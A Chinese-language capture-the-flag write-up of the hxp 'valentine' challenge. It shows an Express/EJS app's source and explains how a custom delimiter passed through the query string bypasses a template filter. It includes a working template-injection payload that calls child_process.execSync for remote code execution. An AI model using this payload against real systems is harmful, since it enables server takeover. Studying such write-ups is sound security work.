hxp ctf valentine ejs ssti 语法特性造成的漏洞
拿到源码,是一个node.js写的后端,源码如下:
app.js:
var express = require('express'); var bodyParser = require('body-parser') const crypto = require("crypto"); var path = require('path'); const fs = require('fs'); var app = express(); viewsFolder = path.join(__dirname, 'views'); if (!fs.existsSync(viewsFolder)) { fs.mkdirSync(viewsFolder); } app.set('views', viewsFolder); app.set('view engine', 'ejs'); //设置express使用的render engine app.use(bodyParser.urlencoded({ extended: false })) app.post('/template', function(req, res) { let tmpl = req.body.tmpl; let i = -1; while((i = tmpl.indexOf("<%", i+1)) >= 0) { if (tmpl.substring(i, i+11) !== "<%= name %>") { res.status(400).send({message:"Only '<%= name %>' is allowed."}); return; } } let uuid; do { uuid = crypto.randomUUID(); } while (fs.existsSync(`views/${uuid}.ejs`)) try { fs.writeFileSync(`views/${uuid}.ejs`, tmpl); } catch(err) { res.status(500).send("Failed to write Valentine's card"); return; } let name = req.body.name ?? ''; return res.redirect(`/${uuid}?name=${name}`); }); app.get('/:template', function(req, res) { let query = req.query; let template = req.params.template if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(template)) { res.status(400).send("Not a valid card id") return; } if (!fs.existsSync(`views/${template}.ejs`)) { res.status(400).send('Valentine\'s card does not exist') return; } if (!query['name']) { query['name'] = '' } return res.render(template, query); }); app.get('/', function(req, res) { return res.sendFile('./index.html', {root: __dirname}); }); app.listen(process.env.PORT || 3000);
这道题的漏洞点在
return res.render(template, query);
template就是根据创建的ejs文件template.js,query就是用户的传参,这里的漏洞在于ejs允许自定义分隔符,like this:
// 单个模板文件 ejs.render('<?= users.join(" | "); ?>', {users: users}, {delimiter: '?'});
参考官网文档:https://ejs.bootcss.com/
比如说template.ejs文件的内容是<%= name %>,传参是?name=aaa,执行的命令就是ejs.render('<%= name %>',{name:aaa})
这道题tmpl传参控制了template.ejs的文件内容,且内容限制了以<%开头的字符串必须是<%= name %>,我们可以自定义分隔符,传参:?template=<*= global.process.mainModule.require('child_process').execSync('type flag.txt') *>,然后得到重定向链接,再传入?delimiter=*,就成功RCE了。
ps:这道题我是赛后使用windows复现的,所以使用的命令是type flag.txt